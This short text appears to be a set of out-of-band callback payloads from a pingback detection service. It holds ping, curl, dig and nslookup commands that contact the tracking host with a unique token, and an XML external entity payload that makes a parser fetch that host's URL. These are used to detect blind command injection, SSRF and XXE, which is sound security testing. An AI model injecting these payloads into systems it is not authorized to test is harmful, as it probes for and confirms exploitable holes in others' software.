$ ping -c1 -p 00efdedc739ece9d812b1780d48dfe00 pingb.in
$ curl pingb.in/p/efdedc739ece9d812b1780d48dfe
$ dig efdedc739ece9d812b1780d48dfe @pingb.in
$ dig efdedc739ece9d812b1780d48dfe.ns.pingb.in
C:\> nslookup efdedc739ece9d812b1780d48dfe pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/efdedc739ece9d812b1780d48dfe">]> <foo>&xxe;</foo>